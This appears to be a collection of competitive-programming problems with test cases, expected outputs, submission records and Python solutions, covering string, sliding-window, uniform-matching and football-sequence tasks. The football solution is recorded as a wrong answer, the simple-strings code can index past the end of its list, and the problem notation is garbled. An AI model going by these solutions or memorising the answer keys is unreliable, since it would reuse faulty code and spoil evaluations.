s=input() if len(s)%2==0: s+='#' s=list(s) n=len(s) for i in range(n-1): if s[i]==s[i+1]: s[i+1]=list({'a','b','c'}-{s[i]}-{s[i+2]})[0] t="".join(s) if t[-1]=='#': print(t[:n-1]) else: print(t)
Title: Simple Strings Time Limit: None seconds Memory Limit: None megabytes Problem Description: zscoder loves simple strings! A string *t* is called simple if every pair of adjacent characters are distinct. For example ab, aba, zscoder are simple whereas aa, add are not simple. zscoder is given a string *s*. He wants to change a minimum number of characters so that the string *s* becomes simple. Help him with this task! Input Specification: The only line contains the string *s* (1<=≤<=|*s*|<=≤<=2·105) — the string given to zscoder. The string *s* consists of only lowercase English letters. Output Specification: Print the simple string *s*' — the string *s* after the minimal number of changes. If there are multiple solutions, you may output any of them. Note that the string *s*' should also consist of only lowercase English letters. Demo Input: ['aab\n', 'caaab\n', 'zscoder\n'] Demo Output: ['bab\n', 'cabab\n', 'zscoder\n'] Note: none
```python s=input() if len(s)%2==0: s+='#' s=list(s) n=len(s) for i in range(n-1): if s[i]==s[i+1]: s[i+1]=list({'a','b','c'}-{s[i]}-{s[i+2]})[0] t="".join(s) if t[-1]=='#': print(t[:n-1]) else: print(t) ```
3
961
B
Lecture Sleep
PROGRAMMING
1,200
[ "data structures", "dp", "implementation", "two pointers" ]
null
null
Your friend Mishka and you attend a calculus lecture. Lecture lasts *n* minutes. Lecturer tells *a**i* theorems during the *i*-th minute. Mishka is really interested in calculus, though it is so hard to stay awake for all the time of lecture. You are given an array *t* of Mishka's behavior. If Mishka is asleep during the *i*-th minute of the lecture then *t**i* will be equal to 0, otherwise it will be equal to 1. When Mishka is awake he writes down all the theorems he is being told — *a**i* during the *i*-th minute. Otherwise he writes nothing. You know some secret technique to keep Mishka awake for *k* minutes straight. However you can use it only once. You can start using it at the beginning of any minute between 1 and *n*<=-<=*k*<=+<=1. If you use it on some minute *i* then Mishka will be awake during minutes *j* such that and will write down all the theorems lecturer tells. You task is to calculate the maximum number of theorems Mishka will be able to write down if you use your technique only once to wake him up.
The first line of the input contains two integer numbers *n* and *k* (1<=≤<=*k*<=≤<=*n*<=≤<=105) — the duration of the lecture in minutes and the number of minutes you can keep Mishka awake. The second line of the input contains *n* integer numbers *a*1,<=*a*2,<=... *a**n* (1<=≤<=*a**i*<=≤<=104) — the number of theorems lecturer tells during the *i*-th minute. The third line of the input contains *n* integer numbers *t*1,<=*t*2,<=... *t**n* (0<=≤<=*t**i*<=≤<=1) — type of Mishka's behavior at the *i*-th minute of the lecture.
Print only one integer — the maximum number of theorems Mishka will be able to write down if you use your technique only once to wake him up.
[ "6 3\n1 3 5 2 5 4\n1 1 0 1 0 0\n" ]
[ "16\n" ]
In the sample case the better way is to use the secret technique at the beginning of the third minute. Then the number of theorems Mishka will be able to write down will be equal to 16.
0
[ { "input": "6 3\n1 3 5 2 5 4\n1 1 0 1 0 0", "output": "16" }, { "input": "5 3\n1 9999 10000 10000 10000\n0 0 0 0 0", "output": "30000" }, { "input": "3 3\n10 10 10\n1 1 0", "output": "30" }, { "input": "1 1\n423\n0", "output": "423" }, { "input": "6 6\n1 3 5 2 5 4\n1 1 0 1 0 0", "output": "20" }, { "input": "5 2\n1 2 3 4 20\n0 0 0 1 0", "output": "24" }, { "input": "3 1\n1 2 3\n0 0 1", "output": "5" }, { "input": "4 2\n4 5 6 8\n1 0 1 0", "output": "18" }, { "input": "6 3\n1 3 5 2 1 15\n1 1 0 1 0 0", "output": "22" }, { "input": "5 5\n1 2 3 4 5\n1 1 1 0 1", "output": "15" }, { "input": "3 3\n3 3 3\n1 0 1", "output": "9" }, { "input": "5 5\n500 44 3 4 50\n1 0 0 0 0", "output": "601" }, { "input": "2 2\n3 2\n1 0", "output": "5" }, { "input": "7 6\n4 9 1 7 1 8 4\n0 0 0 1 0 1 0", "output": "30" }, { "input": "4 3\n6 5 9 6\n1 1 0 1", "output": "26" }, { "input": "2 1\n3 2\n0 0", "output": "3" }, { "input": "1 1\n10\n0", "output": "10" }, { "input": "2 1\n3 2\n1 0", "output": "5" }, { "input": "4 2\n3 6 7 2\n0 0 1 1", "output": "18" }, { "input": "10 5\n3 5 9 2 5 9 3 8 8 1\n0 1 1 1 0 1 0 0 0 0", "output": "49" }, { "input": "10 4\n9 5 6 4 3 9 5 1 10 7\n0 0 0 0 0 0 1 0 0 1", "output": "36" }, { "input": "9 8\n3 3 7 7 1 9 10 7 1\n1 1 1 1 1 1 1 1 1", "output": "48" }, { "input": "2 1\n3 4\n0 0", "output": "4" }, { "input": "2 1\n3 2\n0 1", "output": "5" }, { "input": "10 1\n6 6 8 7 6 6 3 2 5 6\n0 0 1 0 0 1 0 1 1 1", "output": "34" }, { "input": "3 2\n10 10 6\n0 0 0", "output": "20" }, { "input": "6 3\n1 3 5 2 5 4\n1 1 1 1 1 1", "output": "20" }, { "input": "10 5\n1 1 1 1 1 1 1 1 10000 1\n1 1 1 1 1 1 1 1 0 1", "output": "10009" } ]
1,684,441,369
2,147,483,647
Python 3
OK
TESTS
37
124
12,902,400
n, k = map(int, input().split()) a = list(map(int, input().split())) t = list(map(int, input().split())) m = 0 for i in range(n): if t[i] == 1: m += a[i] a[i] = 0 r = sum(a[:k]) l = [r] * n for i in range(1, n - k + 1): r -= a[i - 1] - a[i + k - 1] l[i] = r print(max(l[:n - k + 1]) + m)
Title: Lecture Sleep Time Limit: None seconds Memory Limit: None megabytes Problem Description: Your friend Mishka and you attend a calculus lecture. Lecture lasts *n* minutes. Lecturer tells *a**i* theorems during the *i*-th minute. Mishka is really interested in calculus, though it is so hard to stay awake for all the time of lecture. You are given an array *t* of Mishka's behavior. If Mishka is asleep during the *i*-th minute of the lecture then *t**i* will be equal to 0, otherwise it will be equal to 1. When Mishka is awake he writes down all the theorems he is being told — *a**i* during the *i*-th minute. Otherwise he writes nothing. You know some secret technique to keep Mishka awake for *k* minutes straight. However you can use it only once. You can start using it at the beginning of any minute between 1 and *n*<=-<=*k*<=+<=1. If you use it on some minute *i* then Mishka will be awake during minutes *j* such that and will write down all the theorems lecturer tells. You task is to calculate the maximum number of theorems Mishka will be able to write down if you use your technique only once to wake him up. Input Specification: The first line of the input contains two integer numbers *n* and *k* (1<=≤<=*k*<=≤<=*n*<=≤<=105) — the duration of the lecture in minutes and the number of minutes you can keep Mishka awake. The second line of the input contains *n* integer numbers *a*1,<=*a*2,<=... *a**n* (1<=≤<=*a**i*<=≤<=104) — the number of theorems lecturer tells during the *i*-th minute. The third line of the input contains *n* integer numbers *t*1,<=*t*2,<=... *t**n* (0<=≤<=*t**i*<=≤<=1) — type of Mishka's behavior at the *i*-th minute of the lecture. Output Specification: Print only one integer — the maximum number of theorems Mishka will be able to write down if you use your technique only once to wake him up. Demo Input: ['6 3\n1 3 5 2 5 4\n1 1 0 1 0 0\n'] Demo Output: ['16\n'] Note: In the sample case the better way is to use the secret technique at the beginning of the third minute. Then the number of theorems Mishka will be able to write down will be equal to 16.
```python n, k = map(int, input().split()) a = list(map(int, input().split())) t = list(map(int, input().split())) m = 0 for i in range(n): if t[i] == 1: m += a[i] a[i] = 0 r = sum(a[:k]) l = [r] * n for i in range(1, n - k + 1): r -= a[i - 1] - a[i + k - 1] l[i] = r print(max(l[:n - k + 1]) + m) ```
3
822
B
Crossword solving
PROGRAMMING
1,000
[ "brute force", "implementation", "strings" ]
null
null
Erelong Leha was bored by calculating of the greatest common divisor of two factorials. Therefore he decided to solve some crosswords. It's well known that it is a very interesting occupation though it can be very difficult from time to time. In the course of solving one of the crosswords, Leha had to solve a simple task. You are able to do it too, aren't you? Leha has two strings *s* and *t*. The hacker wants to change the string *s* at such way, that it can be found in *t* as a substring. All the changes should be the following: Leha chooses one position in the string *s* and replaces the symbol in this position with the question mark "?". The hacker is sure that the question mark in comparison can play the role of an arbitrary symbol. For example, if he gets string *s*="ab?b" as a result, it will appear in *t*="aabrbb" as a substring. Guaranteed that the length of the string *s* doesn't exceed the length of the string *t*. Help the hacker to replace in *s* as few symbols as possible so that the result of the replacements can be found in *t* as a substring. The symbol "?" should be considered equal to any other symbol.
The first line contains two integers *n* and *m* (1<=≤<=*n*<=≤<=*m*<=≤<=1000) — the length of the string *s* and the length of the string *t* correspondingly. The second line contains *n* lowercase English letters — string *s*. The third line contains *m* lowercase English letters — string *t*.
In the first line print single integer *k* — the minimal number of symbols that need to be replaced. In the second line print *k* distinct integers denoting the positions of symbols in the string *s* which need to be replaced. Print the positions in any order. If there are several solutions print any of them. The numbering of the positions begins from one.
[ "3 5\nabc\nxaybz\n", "4 10\nabcd\nebceabazcd\n" ]
[ "2\n2 3 \n", "1\n2 \n" ]
none
750
[ { "input": "3 5\nabc\nxaybz", "output": "2\n2 3 " }, { "input": "4 10\nabcd\nebceabazcd", "output": "1\n2 " }, { "input": "1 1\na\na", "output": "0" }, { "input": "1 1\na\nz", "output": "1\n1 " }, { "input": "3 5\naaa\naaaaa", "output": "0" }, { "input": "3 5\naaa\naabaa", "output": "1\n3 " }, { "input": "5 5\ncoder\ncored", "output": "2\n3 5 " }, { "input": "1 1\nz\nz", "output": "0" }, { "input": "1 2\nf\nrt", "output": "1\n1 " }, { "input": "1 2\nf\nfg", "output": "0" }, { "input": "1 2\nf\ngf", "output": "0" }, { "input": "2 5\naa\naabaa", "output": "0" }, { "input": "2 5\naa\navaca", "output": "1\n2 " }, { "input": "3 5\naaa\nbbbbb", "output": "3\n1 2 3 " }, { "input": "3 5\naba\ncbcbc", "output": "2\n1 3 " }, { "input": "3 5\naba\nbbbbb", "output": "2\n1 3 " }, { "input": "3 5\naaa\naabvd", "output": "1\n3 " }, { "input": "3 5\nvvv\nbqavv", "output": "1\n1 " }, { "input": "10 100\nmpmmpmmmpm\nmppppppmppmmpmpppmpppmmpppmpppppmpppmmmppmpmpmmmpmmpmppmmpppppmpmppppmmppmpmppmmmmpmmppmmmpmpmmmpppp", "output": "2\n5 6 " }, { "input": "26 26\nabcdefghijklmnopqrstuvwxyz\nffffffffffffffffffffffffff", "output": "25\n1 2 3 4 5 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 " }, { "input": "3 5\nabc\nxyzab", "output": "3\n1 2 3 " }, { "input": "4 4\nabcd\nxabc", "output": "4\n1 2 3 4 " }, { "input": "3 4\nabc\nabcd", "output": "0" }, { "input": "3 3\nabc\nxxa", "output": "3\n1 2 3 " }, { "input": "3 5\naab\nzfhka", "output": "3\n1 2 3 " }, { "input": "3 3\nabc\nxya", "output": "3\n1 2 3 " }, { "input": "3 3\nabc\ncab", "output": "3\n1 2 3 " }, { "input": "5 5\nabcde\nxxabc", "output": "5\n1 2 3 4 5 " }, { "input": "3 10\nass\nabcdefssss", "output": "1\n1 " }, { "input": "4 4\nabcd\neeab", "output": "4\n1 2 3 4 " }, { "input": "3 4\nabh\nbhaa", "output": "3\n1 2 3 " }, { "input": "2 3\nzb\naaz", "output": "2\n1 2 " }, { "input": "2 3\nab\ndda", "output": "2\n1 2 " }, { "input": "3 3\ncba\nbac", "output": "3\n1 2 3 " }, { "input": "3 4\nabc\nxxxa", "output": "3\n1 2 3 " }, { "input": "2 3\nab\nbbb", "output": "1\n1 " }, { "input": "10 15\nsdkjeaafww\nefjklffnkddkfey", "output": "9\n1 2 4 5 6 7 8 9 10 " }, { "input": "3 3\nabc\nzbc", "output": "1\n1 " }, { "input": "3 7\nabc\neeeeeab", "output": "3\n1 2 3 " }, { "input": "2 6\nab\nxyxbab", "output": "0" }, { "input": "4 7\nabcd\nzzzzabc", "output": "4\n1 2 3 4 " }, { "input": "3 5\nabc\nabzzz", "output": "1\n3 " }, { "input": "3 3\naaz\nzaa", "output": "2\n1 3 " }, { "input": "3 6\nabc\nxaybzd", "output": "2\n2 3 " }, { "input": "4 5\naaaa\naaaap", "output": "0" } ]
1,648,967,299
2,147,483,647
Python 3
OK
TESTS
113
124
0
n, m = map(int, input().split()) s = input() t = input() res = [0] * 10000 for i in range(m - n + 1): asd = [] for j in range(n): if t[i + j] != s[j]: asd.append(j + 1) if len(asd) < len(res): res = asd print(len(res)) print(*res)
Title: Crossword solving Time Limit: None seconds Memory Limit: None megabytes Problem Description: Erelong Leha was bored by calculating of the greatest common divisor of two factorials. Therefore he decided to solve some crosswords. It's well known that it is a very interesting occupation though it can be very difficult from time to time. In the course of solving one of the crosswords, Leha had to solve a simple task. You are able to do it too, aren't you? Leha has two strings *s* and *t*. The hacker wants to change the string *s* at such way, that it can be found in *t* as a substring. All the changes should be the following: Leha chooses one position in the string *s* and replaces the symbol in this position with the question mark "?". The hacker is sure that the question mark in comparison can play the role of an arbitrary symbol. For example, if he gets string *s*="ab?b" as a result, it will appear in *t*="aabrbb" as a substring. Guaranteed that the length of the string *s* doesn't exceed the length of the string *t*. Help the hacker to replace in *s* as few symbols as possible so that the result of the replacements can be found in *t* as a substring. The symbol "?" should be considered equal to any other symbol. Input Specification: The first line contains two integers *n* and *m* (1<=≤<=*n*<=≤<=*m*<=≤<=1000) — the length of the string *s* and the length of the string *t* correspondingly. The second line contains *n* lowercase English letters — string *s*. The third line contains *m* lowercase English letters — string *t*. Output Specification: In the first line print single integer *k* — the minimal number of symbols that need to be replaced. In the second line print *k* distinct integers denoting the positions of symbols in the string *s* which need to be replaced. Print the positions in any order. If there are several solutions print any of them. The numbering of the positions begins from one. Demo Input: ['3 5\nabc\nxaybz\n', '4 10\nabcd\nebceabazcd\n'] Demo Output: ['2\n2 3 \n', '1\n2 \n'] Note: none
```python n, m = map(int, input().split()) s = input() t = input() res = [0] * 10000 for i in range(m - n + 1): asd = [] for j in range(n): if t[i + j] != s[j]: asd.append(j + 1) if len(asd) < len(res): res = asd print(len(res)) print(*res) ```
3
268
A
Games
PROGRAMMING
800
[ "brute force" ]
null
null
Manao works on a sports TV. He's spent much time watching the football games of some country. After a while he began to notice different patterns. For example, each team has two sets of uniforms: home uniform and guest uniform. When a team plays a game at home, the players put on the home uniform. When a team plays as a guest on somebody else's stadium, the players put on the guest uniform. The only exception to that rule is: when the home uniform color of the host team matches the guests' uniform, the host team puts on its guest uniform as well. For each team the color of the home and guest uniform is different. There are *n* teams taking part in the national championship. The championship consists of *n*·(*n*<=-<=1) games: each team invites each other team to its stadium. At this point Manao wondered: how many times during the championship is a host team going to put on the guest uniform? Note that the order of the games does not affect this number. You know the colors of the home and guest uniform for each team. For simplicity, the colors are numbered by integers in such a way that no two distinct colors have the same number. Help Manao find the answer to his question.
The first line contains an integer *n* (2<=≤<=*n*<=≤<=30). Each of the following *n* lines contains a pair of distinct space-separated integers *h**i*, *a**i* (1<=≤<=*h**i*,<=*a**i*<=≤<=100) — the colors of the *i*-th team's home and guest uniforms, respectively.
In a single line print the number of games where the host team is going to play in the guest uniform.
[ "3\n1 2\n2 4\n3 4\n", "4\n100 42\n42 100\n5 42\n100 5\n", "2\n1 2\n1 2\n" ]
[ "1\n", "5\n", "0\n" ]
In the first test case the championship consists of 6 games. The only game with the event in question is the game between teams 2 and 1 on the stadium of team 2. In the second test sample the host team will have to wear guest uniform in the games between teams: 1 and 2, 2 and 1, 2 and 3, 3 and 4, 4 and 2 (the host team is written first).
500
[ { "input": "3\n1 2\n2 4\n3 4", "output": "1" }, { "input": "4\n100 42\n42 100\n5 42\n100 5", "output": "5" }, { "input": "2\n1 2\n1 2", "output": "0" }, { "input": "7\n4 7\n52 55\n16 4\n55 4\n20 99\n3 4\n7 52", "output": "6" }, { "input": "10\n68 42\n1 35\n25 70\n59 79\n65 63\n46 6\n28 82\n92 62\n43 96\n37 28", "output": "1" }, { "input": "30\n10 39\n89 1\n78 58\n75 99\n36 13\n77 50\n6 97\n79 28\n27 52\n56 5\n93 96\n40 21\n33 74\n26 37\n53 59\n98 56\n61 65\n42 57\n9 7\n25 63\n74 34\n96 84\n95 47\n12 23\n34 21\n71 6\n27 13\n15 47\n64 14\n12 77", "output": "6" }, { "input": "30\n46 100\n87 53\n34 84\n44 66\n23 20\n50 34\n90 66\n17 39\n13 22\n94 33\n92 46\n63 78\n26 48\n44 61\n3 19\n41 84\n62 31\n65 89\n23 28\n58 57\n19 85\n26 60\n75 66\n69 67\n76 15\n64 15\n36 72\n90 89\n42 69\n45 35", "output": "4" }, { "input": "2\n46 6\n6 46", "output": "2" }, { "input": "29\n8 18\n33 75\n69 22\n97 95\n1 97\n78 10\n88 18\n13 3\n19 64\n98 12\n79 92\n41 72\n69 15\n98 31\n57 74\n15 56\n36 37\n15 66\n63 100\n16 42\n47 56\n6 4\n73 15\n30 24\n27 71\n12 19\n88 69\n85 6\n50 11", "output": "10" }, { "input": "23\n43 78\n31 28\n58 80\n66 63\n20 4\n51 95\n40 20\n50 14\n5 34\n36 39\n77 42\n64 97\n62 89\n16 56\n8 34\n58 16\n37 35\n37 66\n8 54\n50 36\n24 8\n68 48\n85 33", "output": "6" }, { "input": "13\n76 58\n32 85\n99 79\n23 58\n96 59\n72 35\n53 43\n96 55\n41 78\n75 10\n28 11\n72 7\n52 73", "output": "0" }, { "input": "18\n6 90\n70 79\n26 52\n67 81\n29 95\n41 32\n94 88\n18 58\n59 65\n51 56\n64 68\n34 2\n6 98\n95 82\n34 2\n40 98\n83 78\n29 2", "output": "1" }, { "input": "18\n6 90\n100 79\n26 100\n67 100\n29 100\n100 32\n94 88\n18 58\n59 65\n51 56\n64 68\n34 2\n6 98\n95 82\n34 2\n40 98\n83 78\n29 100", "output": "8" }, { "input": "30\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1", "output": "450" }, { "input": "30\n100 99\n58 59\n56 57\n54 55\n52 53\n50 51\n48 49\n46 47\n44 45\n42 43\n40 41\n38 39\n36 37\n34 35\n32 33\n30 31\n28 29\n26 27\n24 25\n22 23\n20 21\n18 19\n16 17\n14 15\n12 13\n10 11\n8 9\n6 7\n4 5\n2 3", "output": "0" }, { "input": "15\n9 3\n2 6\n7 6\n5 10\n9 5\n8 1\n10 5\n2 8\n4 5\n9 8\n5 3\n3 8\n9 8\n4 10\n8 5", "output": "20" }, { "input": "15\n2 1\n1 2\n1 2\n1 2\n2 1\n2 1\n2 1\n1 2\n2 1\n2 1\n2 1\n1 2\n2 1\n2 1\n1 2", "output": "108" }, { "input": "25\n2 1\n1 2\n1 2\n1 2\n2 1\n1 2\n1 2\n1 2\n2 1\n2 1\n2 1\n1 2\n1 2\n1 2\n2 1\n2 1\n2 1\n1 2\n2 1\n1 2\n2 1\n2 1\n2 1\n2 1\n1 2", "output": "312" }, { "input": "25\n91 57\n2 73\n54 57\n2 57\n23 57\n2 6\n57 54\n57 23\n91 54\n91 23\n57 23\n91 57\n54 2\n6 91\n57 54\n2 57\n57 91\n73 91\n57 23\n91 57\n2 73\n91 2\n23 6\n2 73\n23 6", "output": "96" }, { "input": "28\n31 66\n31 91\n91 31\n97 66\n31 66\n31 66\n66 91\n91 31\n97 31\n91 97\n97 31\n66 31\n66 97\n91 31\n31 66\n31 66\n66 31\n31 97\n66 97\n97 31\n31 91\n66 91\n91 66\n31 66\n91 66\n66 31\n66 31\n91 97", "output": "210" }, { "input": "29\n78 27\n50 68\n24 26\n68 43\n38 78\n26 38\n78 28\n28 26\n27 24\n23 38\n24 26\n24 43\n61 50\n38 78\n27 23\n61 26\n27 28\n43 23\n28 78\n43 27\n43 78\n27 61\n28 38\n61 78\n50 26\n43 27\n26 78\n28 50\n43 78", "output": "73" }, { "input": "29\n80 27\n69 80\n27 80\n69 80\n80 27\n80 27\n80 27\n80 69\n27 69\n80 69\n80 27\n27 69\n69 27\n80 69\n27 69\n69 80\n27 69\n80 69\n80 27\n69 27\n27 69\n27 80\n80 27\n69 80\n27 69\n80 69\n69 80\n69 80\n27 80", "output": "277" }, { "input": "30\n19 71\n7 89\n89 71\n21 7\n19 21\n7 89\n19 71\n89 8\n89 21\n19 8\n21 7\n8 89\n19 89\n7 21\n19 8\n19 7\n7 19\n8 21\n71 21\n71 89\n7 19\n7 19\n21 7\n21 19\n21 19\n71 8\n21 8\n71 19\n19 71\n8 21", "output": "154" }, { "input": "30\n44 17\n44 17\n44 17\n17 44\n44 17\n44 17\n17 44\n17 44\n17 44\n44 17\n44 17\n44 17\n44 17\n44 17\n17 44\n17 44\n17 44\n44 17\n44 17\n17 44\n44 17\n44 17\n44 17\n17 44\n17 44\n44 17\n17 44\n44 17\n44 17\n44 17", "output": "418" }, { "input": "22\n78 92\n15 92\n92 78\n78 80\n92 16\n24 80\n92 16\n16 92\n78 16\n24 78\n80 78\n92 80\n16 80\n80 78\n15 78\n92 16\n24 15\n24 80\n80 16\n16 80\n92 80\n24 80", "output": "74" }, { "input": "24\n9 83\n90 31\n83 3\n83 3\n21 31\n83 3\n32 31\n12 21\n31 21\n90 32\n32 21\n12 9\n12 31\n9 83\n83 12\n32 3\n32 83\n90 31\n9 32\n31 21\n83 90\n32 21\n21 3\n32 9", "output": "59" }, { "input": "30\n67 21\n85 39\n85 87\n21 39\n66 85\n10 95\n10 21\n87 85\n82 21\n67 21\n95 10\n21 39\n82 21\n21 66\n66 39\n95 30\n67 85\n66 82\n85 82\n21 66\n10 39\n67 10\n21 85\n10 82\n85 95\n10 85\n21 39\n85 39\n39 10\n95 67", "output": "100" }, { "input": "4\n8 7\n8 7\n7 8\n7 8", "output": "8" }, { "input": "6\n1 2\n1 2\n1 2\n1 2\n1 2\n2 1", "output": "10" }, { "input": "12\n1 2\n1 2\n1 2\n1 2\n1 2\n1 2\n2 1\n2 1\n2 1\n2 1\n2 1\n2 1", "output": "72" }, { "input": "4\n1 2\n1 2\n2 1\n2 1", "output": "8" } ]
1,673,862,411
2,147,483,647
Python 3
OK
TESTS
31
92
0
n = int(input()) a =list() for i in range(n): a.append(list(map(int,input().split()))) c = 0 for i in range(n): for j in range(i+1,n): if(a[i][0]==a[j][1]): c+=1 if(a[i][1]==a[j][0]): c+=1 print(c)
Title: Games Time Limit: None seconds Memory Limit: None megabytes Problem Description: Manao works on a sports TV. He's spent much time watching the football games of some country. After a while he began to notice different patterns. For example, each team has two sets of uniforms: home uniform and guest uniform. When a team plays a game at home, the players put on the home uniform. When a team plays as a guest on somebody else's stadium, the players put on the guest uniform. The only exception to that rule is: when the home uniform color of the host team matches the guests' uniform, the host team puts on its guest uniform as well. For each team the color of the home and guest uniform is different. There are *n* teams taking part in the national championship. The championship consists of *n*·(*n*<=-<=1) games: each team invites each other team to its stadium. At this point Manao wondered: how many times during the championship is a host team going to put on the guest uniform? Note that the order of the games does not affect this number. You know the colors of the home and guest uniform for each team. For simplicity, the colors are numbered by integers in such a way that no two distinct colors have the same number. Help Manao find the answer to his question. Input Specification: The first line contains an integer *n* (2<=≤<=*n*<=≤<=30). Each of the following *n* lines contains a pair of distinct space-separated integers *h**i*, *a**i* (1<=≤<=*h**i*,<=*a**i*<=≤<=100) — the colors of the *i*-th team's home and guest uniforms, respectively. Output Specification: In a single line print the number of games where the host team is going to play in the guest uniform. Demo Input: ['3\n1 2\n2 4\n3 4\n', '4\n100 42\n42 100\n5 42\n100 5\n', '2\n1 2\n1 2\n'] Demo Output: ['1\n', '5\n', '0\n'] Note: In the first test case the championship consists of 6 games. The only game with the event in question is the game between teams 2 and 1 on the stadium of team 2. In the second test sample the host team will have to wear guest uniform in the games between teams: 1 and 2, 2 and 1, 2 and 3, 3 and 4, 4 and 2 (the host team is written first).
```python n = int(input()) a =list() for i in range(n): a.append(list(map(int,input().split()))) c = 0 for i in range(n): for j in range(i+1,n): if(a[i][0]==a[j][1]): c+=1 if(a[i][1]==a[j][0]): c+=1 print(c) ```
3
96
A
Football
PROGRAMMING
900
[ "implementation", "strings" ]
A. Football
2
256
Petya loves football very much. One day, as he was watching a football match, he was writing the players' current positions on a piece of paper. To simplify the situation he depicted it as a string consisting of zeroes and ones. A zero corresponds to players of one team; a one corresponds to players of another team. If there are at least 7 players of some team standing one after another, then the situation is considered dangerous. For example, the situation 00100110111111101 is dangerous and 11110111011101 is not. You are given the current situation. Determine whether it is dangerous or not.
The first input line contains a non-empty string consisting of characters "0" and "1", which represents players. The length of the string does not exceed 100 characters. There's at least one player from each team present on the field.
Print "YES" if the situation is dangerous. Otherwise, print "NO".
[ "001001\n", "1000000001\n" ]
[ "NO\n", "YES\n" ]
none
500
[ { "input": "001001", "output": "NO" }, { "input": "1000000001", "output": "YES" }, { "input": "00100110111111101", "output": "YES" }, { "input": "11110111111111111", "output": "YES" }, { "input": "01", "output": "NO" }, { "input": "10100101", "output": "NO" }, { "input": "1010010100000000010", "output": "YES" }, { "input": "101010101", "output": "NO" }, { "input": "000000000100000000000110101100000", "output": "YES" }, { "input": "100001000000110101100000", "output": "NO" }, { "input": "100001000011010110000", "output": "NO" }, { "input": "010", "output": "NO" }, { "input": "10101011111111111111111111111100", "output": "YES" }, { "input": "1001101100", "output": "NO" }, { "input": "1001101010", "output": "NO" }, { "input": "1111100111", "output": "NO" }, { "input": "00110110001110001111", "output": "NO" }, { "input": "11110001001111110001", "output": "NO" }, { "input": "10001111001011111101", "output": "NO" }, { "input": "10000010100000001000110001010100001001001010011", "output": "YES" }, { "input": "01111011111010111100101100001011001010111110000010", "output": "NO" }, { "input": "00100000100100101110011001011011101110110110010100", "output": "NO" }, { "input": "10110100110001001011110101110010100010000000000100101010111110111110100011", "output": "YES" }, { "input": "00011101010101111001011011001101101011111101000010100000111000011100101011", "output": "NO" }, { "input": "01110000110100110101110100111000101101011101011110110100100111100001110111", "output": "NO" }, { "input": "11110110011000100111100111101101011111110100010101011011111101110110110111", "output": "YES" }, { "input": "100100010101110010001011001110100011100010011110100101100011010001001010001001101111001100", "output": "NO" }, { "input": "111110010001011010010011111100110110001111000010100011011100111101111101110010101111011110000001010", "output": "NO" }, { "input": "111110111100010100000100001010111011101011000111011011011010110010100010000101011111000011010011110", "output": "NO" }, { "input": "1011110110111010110111111010010010100011111011110000011000110010011110111010110100011010100010111000", "output": "NO" }, { "input": "0010100111100010110110000011100111110100111110001010000100111111111010111100101101010101001011010110", "output": "YES" }, { "input": "1111010100010100101011101100101101110011000010100010000001111100010011100101010001101111000001011000", "output": "NO" }, { "input": "0101100011001110001110100111100011010101011000000000110110010010111100101111010111100011101100100101", "output": "YES" }, { "input": "0001101110011101110000000010011111101001101111100001001010110000110001100000010001111011011110001101", "output": "YES" }, { "input": "1000010000100000100010000100001000010000100001000010000100001000010000100001000010000100001000010000", "output": "NO" }, { "input": "1000000000100000000010000000001000000000100000000010000000001000000000100000000010000000001000000000", "output": "YES" }, { "input": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", "output": "YES" }, { "input": "1111111111111111111111111111111111111111011111111111111111111111111111111111111111111111111111111111", "output": "YES" }, { "input": "10100101000", "output": "NO" }, { "input": "11110111011101", "output": "NO" }, { "input": "10000000", "output": "YES" }, { "input": "00000001", "output": "YES" }, { "input": "01111111", "output": "YES" }, { "input": "11111110", "output": "YES" } ]
1,666,303,646
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
36
92
0
r=[] a=int(input()) x=list(map(int,str(a))) if len(x)>=7: for i in range(len(x)-6): if (x[i]+x[i+1]+x[i+2]+x[i+3]+x[i+4]+x[i+5]+x[i+6]==7) or (x[i]+x[i+1]+x[i+2]+x[i+3]+x[i+4]+x[i+5]+x[i+6]==0): r.append(1) break else: r.append(0) if sum(r)== 1 : print('YES') else: print('NO') else : print('NO')
Title: Football Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: Petya loves football very much. One day, as he was watching a football match, he was writing the players' current positions on a piece of paper. To simplify the situation he depicted it as a string consisting of zeroes and ones. A zero corresponds to players of one team; a one corresponds to players of another team. If there are at least 7 players of some team standing one after another, then the situation is considered dangerous. For example, the situation 00100110111111101 is dangerous and 11110111011101 is not. You are given the current situation. Determine whether it is dangerous or not. Input Specification: The first input line contains a non-empty string consisting of characters "0" and "1", which represents players. The length of the string does not exceed 100 characters. There's at least one player from each team present on the field. Output Specification: Print "YES" if the situation is dangerous. Otherwise, print "NO". Demo Input: ['001001\n', '1000000001\n'] Demo Output: ['NO\n', 'YES\n'] Note: none
```python r=[] a=int(input()) x=list(map(int,str(a))) if len(x)>=7: for i in range(len(x)-6): if (x[i]+x[i+1]+x[i+2]+x[i+3]+x[i+4]+x[i+5]+x[i+6]==7) or (x[i]+x[i+1]+x[i+2]+x[i+3]+x[i+4]+x[i+5]+x[i+6]==0): r.append(1) break else: r.append(0) if sum(r)== 1 : print('YES') else: print('NO') else : print('NO') ```
0
0
none
none
none
0
[ "none" ]
null
null
There is a right triangle with legs of length *a* and *b*. Your task is to determine whether it is possible to locate the triangle on the plane in such a way that none of its sides is parallel to the coordinate axes. All the vertices must have integer coordinates. If there exists such a location, you have to output the appropriate coordinates of vertices.
The first line contains two integers *a*,<=*b* (1<=≤<=*a*,<=*b*<=≤<=1000), separated by a single space.
In the first line print either "YES" or "NO" (without the quotes) depending on whether the required location exists. If it does, print in the next three lines three pairs of integers — the coordinates of the triangle vertices, one pair per line. The coordinates must be integers, not exceeding 109 in their absolute value.
[ "1 1\n", "5 5\n", "5 10\n" ]
[ "NO\n", "YES\n2 1\n5 5\n-2 4\n", "YES\n-10 4\n-2 -2\n1 2\n" ]
none
0
